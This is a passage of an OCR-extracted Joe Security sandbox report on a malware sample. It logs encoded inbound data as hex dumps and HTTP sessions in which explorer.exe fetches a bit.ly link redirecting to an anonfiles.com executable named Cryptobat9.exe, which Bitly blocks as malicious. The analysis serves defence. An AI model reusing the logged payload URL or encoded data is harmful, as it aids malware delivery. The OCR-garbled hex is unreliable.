00 75 00 70 00 6a 00 43 00 46 00 39 00 74 00 2b 00 52 00 70 00 2b 00 51 00 52 00 38 00 76 00 71 00 4e 00 76 00 61 00
6f 00 33 00 2b 00 37 00 37 00 7a 00 66 00 52 00 47 00 31 00 59 00 36 00
Data Ascii: pG8azciJWzBsecw5EaxgTE/uaOzxNEOhTXFNI0J74pksXiGndil+VHNWUMdJeyGowSJU4firQLUzROdrUfhdqy
CVWwylXoupjCF9t+Rp+QR8VGNVao3+77zfRG1Y6

2022-01-06 07:09:08 UTC 356 IN Data Raw: 00 7a 00 67 00 2b 00 35 00 66 00 30 00 63 00 2b 00 61 00 6¢ 00 37 00 49 00 30 00 59 00 49 00 4a 00 41 00 69
00 6e 00 76 00 68 00 78 00 78 00 71 00 6¢ 00 30 00 6d 00 54 00 35 00 68 00 77 00 72 00 34 00 77 00 46 00 47 00 51 00
37 00 43 00 6a 00 68 00 45 00 6d 00 71 00 75 00 2b 00 52 00 67 00 43 00 5a 00 6f 00 33 00 4a 00 59 00 6e 00 75 00 58
00 73 00 37 00 6f 00 71 00 47 00 36 00 4e 00 5a 00 36 00 48 00 69 00 53 00 73 00 76 00 5a 00 56 00 58 00 71 00 73 00 5
500 65 00 39 00 74 00 53 00 57 00 63 00 61 00 66 00 73 00 55 00 49 00 45 00 68 00 69 00 36 00 30 00 6d 00 2f 00 52 00
57 00 51 00 37 00 6f 00 79 00 6d 00 39 00 38 00 73 00 41 00 61 00 42 00 6b 00 75 00 34 00 37 00 4c 00 73 00 4a 00 7a
00 64 00 51 00 2b 00 4e 00 59 00 61 00 57 00 78 00 61 00 31 00 6¢ 00
Data Ascii: zg+5f0c+al710Y IJAInvhxxglOmT5hwrdwFGQ7CjhEmqu+RgCZ03JYnuXs70qG6NZ6HiSsvZVXqsUedtSWeafsUl
Ehi60m/RWQ70ym98sAaBku47LsJzdQ+NYaWwxall

2022-01-06 07:09:08 UTC 372 IN Data Raw: 00 53 00 64 00 61 00 44 00 77 00 43 00 54 00 31 00 7a 00 38 00 67 00 61 00 2f 00 6d 00 63 00 57 00 70 00 6a
0052 00 2f 00 50 00 37 00 31 00 4b 00 64 00 2b 00 70 00 2f 00 35 00 69 00 41 00 6b 00 33 00 37 00 51 00 4a 00 39 00
77 00 35 00 6a 00 39 00 51 00 48 00 33 00 6¢ 00 73 00 57 00 41 00 34 00 43 00 44 00 63 00 35 00 59 00 59 00 57 00 38
00 38 00 31 00 39 00 32 00 4d 00 37 00 55 00 53 00 42 00 4e 00 46 00 66 00 34 00 54 00 54 00 64 00 2b 00 63 00 4a 00
75 00 6d 00 30 00 35 00 74 00 67 00 74 00 33 00 35 00 50 00 5a 00 66 00 51 00 32 00 68 00 71 00 6f 00 71 00 6a 00 6b
00 74 00 75 00 31 00 4f 00 4b 00 41 00 33 00 6¢ 00 54 00 32 00 69 00 4b 00 6b 00 6¢ 00 77 00 6d 00 6¢ 00 4¢ 00 33 00
46 00 6b 00 34 00 43 00 77 00 37 00 45 00 51 00 47 00 79 00 2b 00 44 00
Data Ascii: SdaDwCT1z8ga/mcWpjR/P71Kd+p/5iAk37QJ9w5j9QH3IsWA4CDc5YYW88192M7USBNFf4TTd+cJum
05tgt35PZfQ2hqoqjktul OKA3IT2iKklwmIL3Fk4 Cw7EQGyY+D
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 388 IN Data Raw: 00 4d 00 76 00 31 00 32 00 63 00 2f 00 6e 00 74 00 42 00 42 00 41 00 45 00 6a 00 72 00 55 00 4f 00 76 00 72
00 4e 00 75 00 46 00 79 00 32 00 6¢ 00 73 00 50 00 64 00 33 00 41 00 58 00 67 00 55 00 67 00 62 00 61 00 47 00 4b 00
65 00 66 00 62 00 7a 00 6a 00 6e 00 44 00 37 00 70 00 4a 00 42 00 62 00 6f 00 56 00 4c 00 61 00 56 00 32 00 42 00 2b
00 74 00 4b 00 56 00 71 00 68 00 6e 00 78 00 59 00 63 00 39 00 6d 00 4e 00 6e 00 75 00 36 00 38 00 51 00 67 00 72 00
63 00 6e 00 35 00 32 00 59 00 55 00 68 00 2f 00 68 00 5a 00 6¢ 00 2f 00 36 00 57 00 50 00 4f 00 68 00 46 00 30 00 64 00
51 00 4c 00 66 00 58 00 33 00 4d 00 44 00 47 00 79 00 50 00 52 00 48 00 6¢ 00 6¢ 00 66 00 48 00 53 00 46 00 78 00 51
00 7a 00 55 00 37 00 6f 00 31 00 4d 00 35 00 65 00 52 00 52 00 4a 00
Data Ascii: Mv12c/ntBBAEjrUOvrNuFy2IsPd3AXgUgbaGKefbzjnD7pJBboVLaV2B+tKVghnxYc9mNnu68Qgrecn52YUh/hZI/
6WPOhFOdQLfX3MDGYPRHIIfHSFXQzU701M5eRRJ

2022-01-06 07:09:08 UTC 404 IN Data Raw: 00 7a 00 64 00 38 00 45 00 68 00 6a 00 6a 00 35 00 32 00 4d 00 41 00 4a 00 6¢ 00 65 00 39 00 75 00 67 00 72
00 6b 00 38 00 66 00 7a 00 66 00 75 00 36 00 54 00 50 00 58 00 75 00 77 00 6b 00 4c 00 73 00 2f 00 33 00 37 00 76 00
36 00 74 00 5a 00 58 00 36 00 2b 00 57 00 42 00 77 00 42 00 64 00 4a 00 78 00 71 00 36 00 4a 00 56 00 6a 00 31 00 34
00 72 00 64 00 57 00 66 00 61 00 51 00 6¢ 00 2b 00 6d 00 78 00 41 00 72 00 6a 00 34 00 63 00 68 00 47 00 6e 00 7a 00
44 00 4e 00 4f 00 2f 00 5a 00 4a 00 53 00 4a 00 64 00 48 00 72 00 46 00 49 00 34 00 79 00 30 00 76 00 68 00 68 00 66
00 44 00 44 00 66 00 34 00 44 00 4e 00 4f 00 4c 00 36 00 42 00 65 00 56 00 53 00 53 00 2b 00 43 00 41 00 44 00 58 00
59 00 6b 00 32 00 50 00 49 00 36 00 66 00 62 00 64 00 43 00 64 00 4f 00
Data Ascii: zd8Ehijj52MAJle9ugrk8fzfu6 TP XuwkLs/37v6tZX6+WBwBdJxq6JVj14rdWfaQl+mxArj4chGnzDNO/ZJSJdHrF
14y0vhhfDDf4ADNOL6BeVSS+CADXYk2PI6fbdCdO

2022-01-06 07:09:08 UTC 420 IN Data Raw: 00 38 00 45 00 76 00 57 00 63 00 48 00 30 00 66 00 57 00 55 00 66 00 6e 00 51 00 63 00 5a 00 52 00 37 00
50 00 65 00 35 00 6d 00 73 00 78 00 63 00 61 00 74 00 54 00 37 00 6b 00 33 00 32 00 35 00 51 00 31 00 42 00 45 00 43
0051 00 51 00 74 00 4e 00 58 00 4d 00 35 00 79 00 57 00 31 00 6¢ 00 46 00 33 00 71 00 6b 00 57 00 73 00 64 00 69 00
52 00 71 00 6d 00 58 00 77 00 78 00 52 00 6e 00 64 00 37 00 30 00 67 00 65 00 79 00 49 00 50 00 35 00 4d 00 67 00 35
00 72 00 51 00 4b 00 4c 00 4f 00 38 00 4a 00 39 00 46 00 75 00 55 00 4a 00 2f 00 51 00 64 00 54 00 43 00 48 00 50 00 32
00 7a 00 68 00 73 00 31 00 59 00 72 00 6d 00 75 00 5a 00 30 00 37 00 52 00 37 00 56 00 4f 00 70 00 6¢ 00 41 00 71 00
36 00 34 00 4e 00 63 00 4c 00 44 00 72 00 6a 00 76 00 2b 00 6b 00 79 00
Data Ascii: 8EvWcHOfWUfnQcZR7Pe5msxcatT7k325Q1BECQQtNXM5yW1IF3gkWsdiRgmXwxRnd70geylP5Mg5rQ
KLO8J9FuUJ/QdTCHP2zhs1Yrmuz07R7VOpIAq64NcLDrjv+ky

2022-01-06 07:09:08 UTC 436 IN Data Raw: 00 32 00 4b 00 2b 00 50 00 6b 00 52 00 64 00 54 00 48 00 32 00 57 00 4d 00 4d 00 62 00 4b 00 76 00 33 00
6a 00 48 00 58 00 41 00 54 00 4a 00 2f 00 39 00 58 00 35 00 57 00 5a 00 53 00 4b 00 42 00 6d 00 6b 00 4d 00 37 00 34
00 62 00 38 00 34 00 71 00 55 00 49 00 35 00 6f 00 4e 00 63 00 61 00 30 00 39 00 74 00 47 00 4c 00 2f 00 68 00 50 00 38
00 53 00 2f 00 4e 00 42 00 53 00 63 00 76 00 35 00 72 00 53 00 50 00 4f 00 74 00 33 00 6b 00 49 00 43 00 33 00 66 00 6
200 45 00 44 00 39 00 34 00 74 00 39 00 42 00 2f 00 59 00 63 00 41 00 56 00 4d 00 2b 00 30 00 36 00 38 00 33 00 45 00
7a 00 58 00 45 00 34 00 41 00 2b 00 47 00 39 00 69 00 72 00 79 00 64 00 58 00 6¢ 00 46 00 38 00 4d 00 75 00 61 00 35
00 4d 00 36 00 73 00 78 00 35 00 67 00 2f 00 31 00 69 00 44 00 49 00
Data Ascii: 2K+PKkRATH2WMMbKV3jHXATJ/9X5WZSKBmMkM74b84qUI50Nca09tGL/hP8S/NBScv5rSPOt3KIC3fhE
D94t9B/YCcAVM+0683EzXE4A+GirydXIF8Mua5M6sx5g/1iDI

2022-01-06 07:09:08 UTC 452 IN Data Raw: 00 41 00 44 00 43 00 30 00 42 00 69 00 4a 00 4e 00 48 00 58 00 77 00 6f 00 37 00 69 00 2f 00 61 00 53 00 37
00 2f 00 4b 00 56 00 6e 00 6b 00 30 00 6¢ 00 77 00 35 00 72 00 37 00 2f 00 45 00 6d 00 33 00 56 00 7a 00 58 00 30 00 46
00 45 00 43 00 5a 00 62 00 76 00 41 00 2f 00 6a 00 5a 00 73 00 4a 00 61 00 46 00 59 00 35 00 66 00 57 00 2b 00 31 00
6e 00 79 00 59 00 70 00 6d 00 65 00 2b 00 38 00 2f 00 75 00 4b 00 37 00 48 00 6b 00 7a 00 59 00 4f 00 77 00 62 00 36
00 34 00 50 00 61 00 37 00 6d 00 77 00 57 00 4b 00 39 00 70 00 2f 00 6a 00 44 00 78 00 33 00 65 00 70 00 32 00 59 00 5
000 41 00 31 00 6f 00 49 00 39 00 50 00 69 00 52 00 4b 00 4b 00 41 00 54 00 75 00 65 00 2f 00 5a 00 72 00 6e 00 6d 00
77 00 61 00 36 00 4b 00 6f 00 6¢ 00 41 00 54 00 75 00 31 00 6e 00
Data Ascii: ADCOBIJNHXw07i/aS7/KVnkOlw5r7/Em3VzX0FECZbvA/jZsJaFY5fW+1nyYpme+8/uK7HkzYOwb64
Pa7mwWK9p/jDx3ep2YPA10I9PiRKKATue/Zrnmwa6KolATuln

2022-01-06 07:09:08 UTC 460 IN Data Raw: 00 7a 00 54 00 56 00 34 00 67 00 47 00 33 00 34 00 38 00 58 00 7a 00 2b 00 75 00 49 00 48 00 56 00 48 00
31 00 62 00 54 00 57 00 33 00 39 00 7a 00 64 00 75 00 35 00 35 00 2f 00 75 00 6b 00 34 00 50 00 70 00 2f 00 65 00 53
00 44 00 61 00 53 00 5a 00 36 00 33 00 4a 00 4f 00 30 00 59 00 65 00 6f 00 2f 00 78 00 2b 00 72 00 54 00 45 00 46 00 4b
00 36 00 68 00 52 00 35 00 63 00 65 00 41 00 4b 00 6b 00 35 00 61 00 39 00 45 00 59 00 2f 00 41 00 39 00 34 00 6a 00 7
100 71 00 74 00 36 00 34 00 7a 00 4b 00 41 00 65 00 78 00 43 00 35 00 30 00 62 00 77 00 69 00 4d 00 64 00 44 00 46
00 6f 00 71 00 36 00 53 00 67 00 54 00 71 00 46 00 72 00 56 00 4b 00 79 00 43 00 47 00 52 00 4a 00 34 00 30 00 65 00
2b 00 75 00 39 00 41 00 6€ 00 36 00 47 00 7a 00 33 00 6f 00 2b 00 4a 00
Data Ascii: ZTV4gG348Xz+ulHVH1bTW39zdu55/uk4Pp/eSDaSZ63J00Yeo/x+ TEFK6hR5ceAKK5a9E Y/A94jqq
164zKAexC50bwiMdDFog6SgTqFrVKyCGRJI40e+U9AN6GZ30+J

2022-01-06 07:09:08 UTC 476 IN Data Raw: 00 74 00 4a 00 75 00 5a 00 46 00 68 00 58 00 6f 00 46 00 34 00 33 00 4b 00 49 00 2b 00 45 00 72 00 54 00 41
00 6e 00 55 00 53 00 6e 00 45 00 67 00 6f 00 55 00 58 00 49 00 38 00 58 00 45 00 71 00 78 00 4c 00 52 00 74 00 35 00
56 00 36 00 66 00 6a 00 6d 00 52 00 33 00 38 00 54 00 76 00 67 00 6a 00 78 00 57 00 46 00 67 00 68 00 39 00 79 00 46
00 4e 00 71 00 5a 00 47 00 59 00 61 00 6a 00 6e 00 78 00 72 00 31 00 31 00 39 00 47 00 61 00 6d 00 64 00 41 00 59 00
62 00 79 00 6a 00 67 00 62 00 68 00 5a 00 4f 00 31 00 69 00 78 00 72 00 67 00 35 00 71 00 52 00 73 00 6b 00 72 00 6f
00 65 00 54 00 70 00 46 00 66 00 6f 00 51 00 66 00 48 00 76 00 53 00 34 00 6f 00 36 00 76 00 4f 00 4e 00 70 00 59 00 2b
00 6¢ 00 43 00 56 00 58 00 37 00 50 00 63 00 78 00 77 00 55 00 76 00
Data Ascii: tJuZFhXoF43KI+ErTANUSNEgoUXI8XEqxLRt5V6fimR38TvgixWFgh9yFNgZGYajnxr119GamdAYbyjgbhZOlixr
g5qRskroeTpFfoQfHvS406vONpY+ICVX7PcxwUv

2022-01-06 07:09:08 UTC 492 IN Data Raw: 00 77 00 4b 00 72 00 76 00 75 00 73 00 52 00 31 00 35 00 73 00 73 00 5a 00 6e 00 38 00 43 00 68 00 2b 00
76 00 67 00 39 00 58 00 4d 00 39 00 41 00 73 00 39 00 33 00 6e 00 6¢ 00 32 00 2b 00 4f 00 33 00 54 00 66 00 4f 00 70
00 79 00 32 00 52 00 6e 00 76 00 47 00 4c 00 44 00 46 00 69 00 32 00 6e 00 6f 00 49 00 34 00 57 00 49 00 44 00 37 00 3
4005300 71 00 5a 00 5a 00 2b 00 30 00 70 00 2f 00 37 00 32 00 38 00 2b 00 2b 00 70 00 54 00 43 00 42 00 6d 00 63 00
78 00 65 00 32 00 34 00 38 00 59 00 51 00 4b 00 66 00 62 00 64 00 50 00 74 00 30 00 78 00 63 00 5a 00 41 00 4d 00 65
00 56 00 6b 00 47 00 4d 00 4d 00 42 00 61 00 4e 00 4f 00 51 00 54 00 4d 00 63 00 6b 00 30 00 72 00 79 00 4a 00 36 00
33 00 2f 00 74 00 58 00 65 00 68 00 65 00 32 00 58 00 4d 00 31 00 35 00
Data Ascii: wKrvusR15ssZn8Ch+vg9XM9As93nlI2+0O3TfOpy2RnvGLDFi2nol4WID74SqZZ+0p/728++pTCBmcxe
248YQKfbdPtOxcZAMeVkGMMBaNOQTMckOryJ63/tXehe2XM15

2022-01-06 07:09:08 UTC 508 IN Data Raw: 00 66 00 4d 00 33 00 6b 00 43 00 35 00 6e 00 64 00 78 00 37 00 47 00 33 00 36 00 71 00 71 00 4a 00 35 00
6b 00 42 00 33 00 41 00 79 00 43 00 65 00 4f 00 71 00 76 00 47 00 41 00 42 00 55 00 70 00 56 00 4d 00 50 00 41 00 6e
00 56 00 4c 00 49 00 41 00 46 00 2f 00 45 00 70 00 59 00 57 00 65 00 6b 00 4e 00 79 00 78 00 43 00 30 00 6f 00 53 00 45
00 47 00 4a 00 4a 00 48 00 6d 00 41 00 63 00 36 00 39 00 67 00 4b 00 7a 00 61 00 46 00 61 00 2b 00 78 00 6f 00 4b 00 5
300 6f 00 4d 00 76 00 51 00 43 00 62 00 6¢ 00 37 00 46 00 6d 00 69 00 48 00 75 00 31 00 45 00 64 00 4f 00 2f 00 49 00 4
¢ 00 44 00 51 00 70 00 6b 00 37 00 4b 00 53 00 63 00 48 00 77 00 53 00 5a 00 4f 00 2f 00 64 00 38 00 74 00 6e 00 31 00
4e 00 4f 00 32 00 78 00 36 00 32 00 41 00 70 00 6a 00 63 00 47 00
Data Ascii: fM3kC5ndx7G36qgJ5kB3AyCeOqvGABUpVMPANVLIAF/EpYWekNyxCOoSEGJIHmMAc69gKzaFa+xoKSo
MvQCbI7FmiHulEdO/ILDQpk7KScHWSZO/d8tn1NO2x62ApjcG
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kBytes
Timestamp transferred

2022-01-06 07:09:08 UTC 524

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

2022-01-06 07:09:58 UTC 528

2022-01-06 07:09:58 UTC 528

2022-01-06 07:09:58 UTC 528

Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

2022-01-06 07:09:58 UTC 528

2022-01-06 07:09:58 UTC 529

2022-01-06 07:09:58 UTC 529

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49797

Direction

ouT

Source Port
49798

Direction
ouT

Data

Data Raw: 00 41 00 4f 00 6c 00 4d 00 6b 00 33 00 30 00 44 00 6d 00 38 00 55 00 6e 00 51 00 35 00 67 00 32 00 66 00 55
00 4d 00 4e 00 7a 00 47 00 38 00 43 00 2f 00 54 00 72 00 42 00 76 00 71 00 74 00 33 00 6f 00 41 00 59 00 6b 00 54 00 4c
00 6e 00 73 00 64 00 61 00 37 00 79 00 69 00 39 00 7a 00 54 00 6d 00 4a 00 4e 00 47 00 69 00 6b 00 73 00 47 00 75 00
79 00 69 00 51 00 6f 00 36 00 57 00 42 00 42 00 62 00 68 00 4a 00 63 00 43 00 6e 00 6e 00 66 00 6f 00 5a 00 72 00 49
00 4f 00 6b 00 51 00 51 00 47 00 4d 00 78 00 57 00 41 00 66 00 36 00 50 00 31 00 47 00 33 00 6f 00 37 00 6a 00 37 00 6
300 5a 00 7a 00 77 00 70 00 68 00 68 00 54 00 71 00 46 00 59 00 53 00 43 00 4f 00 4e 00 4c 00 44 00 4d 00 54 00 72 00
55 00 5a 00 74 00 30 00 35 00 4c 00 73 00 79 00 62 00 58 00 57 00

Data Ascii: AOIMk30Dm8UnQ5g2fUMNzG8C/TrBvqt30AYKTLnsda7yi9zTmJINGiksGuyiQo6WBBbhJcCnnfoZrlO
kQQGMxXWAf6P1G307j7cZzwphhTgFYSCONLDMTrUZtO5LsybXW

Destination IP Destination Port Process

67.199.248.10 443 C:\Windows\explorer.exe

Data

GET /3eHgQQR HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: bit.ly

HTTP/1.1 302 Found

Server: nginx

Date: Thu, 06 Jan 2022 07:09:58 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 226

Cache-Control: private, max-age=90
Content-Security-Policy: referrer always;

Location: https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FPOm5w4j
2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe
Referrer-Policy: unsafe-url

Via: 1.1 google

Alt-Svc: clear

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 42 69 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68
65 61 64 3e Oa 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 69 74 6¢ 79 2e 63 6f 6d 2f 61 2f
62 6¢ 6f 63 6b 65 64 3f 68 61 73 68 3d 33 65 48 67 51 51 52 26 61 6d 70 3b 75 72 6¢C 3d 68 74 74 70 73 25 33 41 25 32
46 25 32 46 63 64 6e 2d 31 33 31 2e 61 6e 6f 6e 66 69 6¢ 65 73 2e 63 6f 6d 25 32 46 50 30 6d 35 77 34 6a 32 78 63 25
3246 63 61 63 33 65 62 39 38 2d 31 36 34 30 38 35 33 39 38 34 25 32 46 25 34 30 43 72 79 70 74 6f 62 61 74 39 2e 65 7
8 65 22 3e 6d 6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://bitly.com/a/blocked?hash=3eHgQQR&amp
;url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe">mov
ed here</a></body></html>

Destination IP  Destination Port Process

67.199.248.15 443 C:\Windows\explorer.exe

Data

GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FPOm5w4j2xc%2Fcac3eb98-
1640853984%2F%40Cryptobat9.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Host: bitly.com

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 06 Jan 2022 07:09:58 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 5879

Set-Cookie: anon_u=cHN1X182MjBIZDRiMi05YTkyLTQ5MmYtOTQ3Yi030GFMNzE4OGVIYjg=|1641452998|fe6
a0b0da83d5789ea1804c0560516328d325f9¢; Domain=bitly.com; expires=Tue, 05 Jul 2022 07:09:58 GMT; httponly; Path
=/; secure

Etag: "c19624a6e02662e870f645f063e54797€509758d"

Pragma: no-cache

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

X-Frame-Options: DENY

P3p: CP="CAO PSA OUR"

Strict-Transport-Security: max-age=31536000

Via: 1.1 google

Alt-Svc: clear

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e Oa 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65
3e 57 61 72 6e 69 6e 67 21 20 7c 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 61 20 70 72 6f 62 6¢ 65 6d 20 77 69
74 6820 74 68 65 20 72 65 71 75 65 73 74 65 64 20 6¢ 69 6e 6b 3c 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 6
82c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e Oa 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43
6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74
3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d

Data Ascii: <IDOCTYPE html><html><head><title>Warning! | There might be a problem with the requested link</title>
<meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="Content-Type" content="text/html;
charset=utf-8" /><meta name=
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kBytes
Timestamp transferred

2022-01-06 07:09:58 UTC 530

2022-01-06 07:09:58 UTC 531

2022-01-06 07:09:58 UTC 532

2022-01-06 07:09:58 UTC 533

2022-01-06 07:09:58 UTC 534

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

2022-01-06 07:10:02 UTC 535

2022-01-06 07:10:03 UTC 535

Copyright Joe Security LLC 2022

Direction

IN

Source Port
49807

Direction
ouT

Data

Data Raw: 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 3b 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 38 30 30 3b Oa 73
7263 3a20 75 72 6¢ 28 27 2f 73 2f 76 34 36 38 2f 67 72 61 70 68 69 63 73 2f 50 72 6f 78 69 6d 61 4e 6f 76 61 2d 45 78
7472 61 62 6f 6¢ 64 2e 6f 74 66 27 29 20 66 6f 72 6d 61 74 28 22 6f 70 65 6e 74 79 70 65 22 29 3b Oa 7d Oa 62 6f 64 79
2c 0a 68 74 6d 6¢ 20 7b Oa 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 2¢ 20 41 72
69 61 6¢ 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a
2061 6e 74 69 61 6¢ 69 61 73 65 64 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b Oa 63 6f 6¢ 6f 72 3a 20 23 31
64 31 66 32 31 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63

Data Ascii: "Proxima Nova";font-weight: 800;src: url('/s/v468/graphics/ProximaNova-Extrabold.otf') format("opentype");}
body,html {font-family: "Proxima Nova", Arial, sans-serif;-webkit-font-smoothing: antialiased;font-size: 10px;color: #1d
1f21;background-c

Data Raw: 64 69 6e 67 3a 20 37 25 20 35 25 20 31 34 25 20 35 25 3b 0a 7d Oa 2e 68 65 61 64 65 72 20 7b Oa 6d 61 72
67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 72 65 6d 3b 0a 7d Oa 2e 68 65 61 64 6¢ 69 6e 65 2d 63 6f 6e 74 61 69 6e 65 72 20
7b 0a 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6¢ 75 6d 6€ 3b 0a 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e
74 3a20 63 65 6e 74 65 72 3b 0a 7d Oa 2e 68 65 61 64 6¢ 69 6e 65 20 7b 0a 77 69 64 74 68 3a 20 31 30 30 25 3b Oa 7d
Oa 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68 3a 20 35 30 25 3b Oa 6d 61 72 67 69 6e 3a 20 30 20 61
75 74 6f 20 32 72 65 6d 3b 0a 7d Oa 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 35 30 70 78 29
20 7b 0a 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68

Data Ascii: ding: 7% 5% 14% 5%;}.header {margin-bottom: 2rem;}.headline-container {flex-direction: column;justify-content:
center;}.headline {width: 100%;}.warning-img {width: 50%;margin: 0 auto 2rem;}}@media (max-width: 750px) {.warning-im
g {width

Data Raw: 20 6d 61 6c 77 61 72 65 20 28 73 6 66 74 77 61 72 65 20 64 65 73 69 67 6e 65 64 20 74 6f 20 68 61 72 6d 20
79 6f 75 72 20 63 6f 6d 70 75 74 65 72 29 2c 20 61 74 74 65 6d 70 74 20 74 6f 20 63 6f 6¢ 6¢ 65 63 74 20 79 6f 75 72 20
7065 72 73 6f 6e 61 6¢ Oa 69 6e 66 6f 72 6d 61 74 69 6f 6 20 66 6f 72 20 6e 65 66 61 72 69 6f 75 73 20 70 75 72 70 6f
73 65 73 2c 20 6f 72 20 6f 74 68 65 72 77 69 73 65 20 63 6f 6e 74 61 69 6e 20 68 61 72 6d 66 75 6¢ 20 61 6e 64 2f 6f 72
20 69 6¢ 6¢ 65 67 61 6¢ 20 63 6f 6e 74 65 6e 74 2e 3c 2f 6¢ 69 3e Oa 3¢ 6¢ 69 3e 54 68 65 20 6¢ 69 6e 6b 20 6d 61 79 20
62 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f

Data Ascii: malware (software designed to harm your computer), attempt to collect your personalinformation for nefarious
purposes, or otherwise contain harmful and/or illegal content.</li><li>The link may be attempting to

Data Raw: 20 68 69 64 65 20 74 68 65 20 66 69 6e 61 6¢ 20 64 65 73 74 69 6e 61 74 69 6f 6e 2e 3c 2f 6¢ 69 3e Oa 3c 6¢
69 3e 54 68 65 20 6¢ 69 6e 6b 20 6d 61 79 20 6¢ 65 61 64 20 74 6f 20 61 20 66 6 72 67 65 72 79 20 6f 66 20 61 6€ 6f 74
68 65 72 20 77 65 62 73 69 74 65 20 6f 72 20 6d 61 79 20 69 6e 66 72 69 6e 67 65 20 74 68 65 20 72 69 67 68 74 73 20
6f 66 20 6f 74 68 65 72 73 2e 3c 2f 6¢ 69 3e 0a 3c 2f 75 6¢ 3e Oa 3c 70 3e 0a 49 66 20 79 6f 75 20 62 65 6¢ 69 65 76 65
20 74 68 69 73 20 6¢ 69 6e 6b 20 68 61 73 20 62 65 65 6e 20 62 6¢ 6f 63 6b 65 64 20 69 6e 20 65 72 72 6f 72 2c 20 70 6¢
65 61 73 65 20 63 6f 6e 74 61 63 74 20 42 69 74 6¢ 79 20 76 69 61 20 3c 73 70 61 6e 3e 3c 61 20 74 61 72 67 65 74 3d
22 5f 62 6¢ 61 6e 6b 22 0a 72 65 6¢ 3d 22 6e 6f 6f 70 65 6 65

Data Ascii: hide the final destination.</li><li>The link may lead to a forgery of another website or may infringe the rights of
others.</li></ul><p>If you believe this link has been blocked in error, please contact Bitly via <span><a target="_blank"
rel="noopene

Data Raw: 20 54 72 61 63 6b 20 70 61 67 65 20 76 69 65 77 Oa 77 2e 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76
69 65 77 27 29 3b 0a Oa 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 3b 0a 3c 2f 73 63 72 69 70 74 3e Oa 3c
73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 28 66 75 6e 63 74 69 6f
6e 2028 29 20 7b 0a 76 61 72 20 63 61 74 65 67 6f 72 79 20 3d 20 22 73 70 61 6d 3a 77 61 72 6e 69 6e 67 5f 70 61 67
65 22 2c 0a 73 74 61 74 65 20 3d 20 30 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 72 61 63 6b 48 6f 76 65 72 28 65 29 20 7b Oa
74727920 7b 0a 73 74 61 74 65 20 3d 20 31 3b 0a 67 61 28 27 73 65 6e 64 27 2c 20 27 65 76 65 6e 74 27 2¢ 20 63 61
74 65 67 6f 72 79 2¢ 20 22 53 70 61 6d 20 69 6e 74 65 72 73 74 69

Data Ascii: Track page vieww.ga('send’, ‘pageview');})(window,document);</script><script type="text/javascript">(function

